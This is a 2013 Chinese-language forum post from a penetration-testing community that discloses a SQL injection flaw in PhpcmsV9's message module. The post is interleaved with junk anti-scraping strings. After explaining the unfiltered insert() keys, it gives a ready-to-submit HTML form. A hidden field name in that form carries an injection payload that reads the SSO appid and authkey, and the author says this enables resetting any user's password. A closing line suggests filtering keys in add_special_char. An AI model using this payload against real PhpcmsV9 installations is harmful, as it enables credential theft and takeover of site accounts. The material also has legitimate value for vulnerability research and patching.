中国网络渗透测试联盟
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
* n7 W. @1 ?2 |7 F; {% X9 B0 ?
. F$ F, ^* Z! E
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
: N7 b9 [6 v/ \$ r
" L d- R7 i) p6 S
明天再更新下一个漏洞。
5 l* C7 f" y- c6 q# \# Y- ~& M; i
详细说明:
# t. j" ]% }" z
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
4 k2 v% _3 Z% Y
; N6 F' j# P, z8 A% Q4 b9 O! Q
$messageid = $this->message_db->insert($_POST['info'],true);
$ c% G" r* | A9 ^9 ^. y! Z9 d
) U, x" I/ n6 R( a' X
" N7 @& g H$ i8 I! D7 k# T
insert方法是key value的,代码如下:
7 _5 R. Q1 z' N% G6 O$ H
" E c2 f" i( M$ o
public function insert($data, $table, $return_insert_id = false, $replace = false) {
0 @5 P; ]. I' j4 r; N1 j7 F
if(!is_array( $data ) || $table == '' || count($data) == 0) {
* ^& l& O# i* z8 v% N( Q! k) D
return false;
9 g6 j6 Z% E0 x8 B& s5 }# c* o
}
$ j4 G+ K3 D6 w. i! F z' V8 v
8 b4 F+ x( @2 a5 i0 A5 D
$fielddata = array_keys($data);
2 e# m E) `! f4 n7 X! F) t
$valuedata = array_values($data);
1 c8 a% S$ o) W
array_walk($fielddata, array($this, 'add_special_char'));
2 Q: @& b+ V4 D- ^+ u
array_walk($valuedata, array($this, 'escape_string'));
2 y* T6 {; ]! M: E j
% B1 B3 r. ], i7 V3 W# i, |
$field = implode (',', $fielddata);
0 K7 q1 D. Z8 j
$value = implode (',', $valuedata);
6 W7 x" N3 n2 v( G) k& @
: T; i- [; a6 q5 C, c3 V
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
~: l! Y9 l5 [: F
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
# q$ z W% i- _) `- n" j
$return = $this->execute($sql);
. f% L: x% C$ |9 P5 H3 P0 B
return $return_insert_id ? $this->insert_id() : $return;
' b, N4 c, v2 N; c$ r* P4 p
}
! V- V3 B8 f3 r, V' x( G6 b8 i- o" Z
x+ h s- Q) s; K& O; j9 J
6 `) R0 R, M' W3 D# `
嗯,很遗憾的是
1 x4 \0 n0 X6 w: [5 k! D
6 \* c% D7 E9 T$ e) p0 p
array_walk($fielddata, array($this, 'add_special_char'));
3 m+ l/ P u+ G6 i r( d! Q( z0 e
0 j* L* H: q9 F+ y! B* Y
! |2 B7 R& c* z& G+ p2 z* }
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
) v5 n8 p" F, G! B' K5 H- O
* M( z5 M0 R4 [- n0 D6 f
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
2 ?( }6 H5 H% k/ I& \! ^$ m6 ~4 F) I
H- j0 ]0 _' p
漏洞证明:
( c, W/ l8 G" D n9 V4 J
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
( Z: O/ C; ?) Z q
[attach]200[/attach]
# u! t5 T( O V% K6 v
* L$ W/ |; _( |) q. u
表单如下:用户名什么的得自己改一改。
5 h6 ~! ~3 Z4 n
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
j1 i6 |0 _0 p/ `" n' G4 M
<table width="100%" cellspacing="0" class="table_form">
8 d; X1 n" P& F% U5 [5 o
<tr>
2 r0 I, Z; D( s0 C: p7 j
<th>标 题:</th>
% Z6 ]0 Q* O" T# |& |, E3 ?
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
! m# t5 {" e, |- `/ v# M2 {. Q
</tr>
/ O, ~4 z$ F$ R/ b, ^
<tr>
9 k7 {6 f- v0 x% F
<th>内 容:</th>
. O+ A8 U9 F- u/ W9 [, a4 S& s8 N
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
$ q0 W& ~# B" x# i
</tr>
( F0 H( b1 S) X, a( \
<input type="hidden" name="info[replyid]" value="2" />
/ Z) x2 \; j. m9 X
<input type="hidden" name="info[send_to_id]" value="cc" />
- c5 Y" _' g/ R: }# q# l
<input type="hidden" name="info[send_from_id]" value="hh">
, V, S% U+ _/ r4 w3 r
<!-- 漏洞的利用重点在这里开始 -->
4 t: y! r+ B" s$ N- Y: W% S
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
6 ?5 X' g6 }- I$ B. @
<!-- 漏洞的利用重点在这里结束 -->
3 p( W6 D* s' R# b" D
<tr>
. {1 X% v# J4 n0 O! M7 R
<th>验证码:</th>
# C9 h' p+ m4 ]+ }# _( C
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
$ S* t6 e: t3 T, e( I) q* ?
</tr>
* k! G8 q# B& K) V5 Y- X8 A ?* s
<tr>
' Z* [. c7 B y! v
<td></td>
9 x0 t. J# j( g! g+ n
<td colspan="2"><label>
5 ~) J% C4 T ?5 F% u: R+ V2 R1 ~
<input type="submit" name="
dos
ubmit" id="dosubmit" value="确 定" class="button"/>
, z! N1 v) F& J5 W
</label></td>
6 N5 p5 N* R. E6 o* n
</tr>
2 v! c6 P7 u1 H% z$ L! `
</table>
% i* o% m: Z0 Q
</form>
: b" l# w4 y, O' Q+ B8 \! U
在add_special_char函数内对key做过滤就可以了。
6 \5 Z0 c9 u3 t1 ]
7 T$ w- Q4 b" p8 e
$ S. K; Y- W" q
. s. F7 _4 T7 E F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2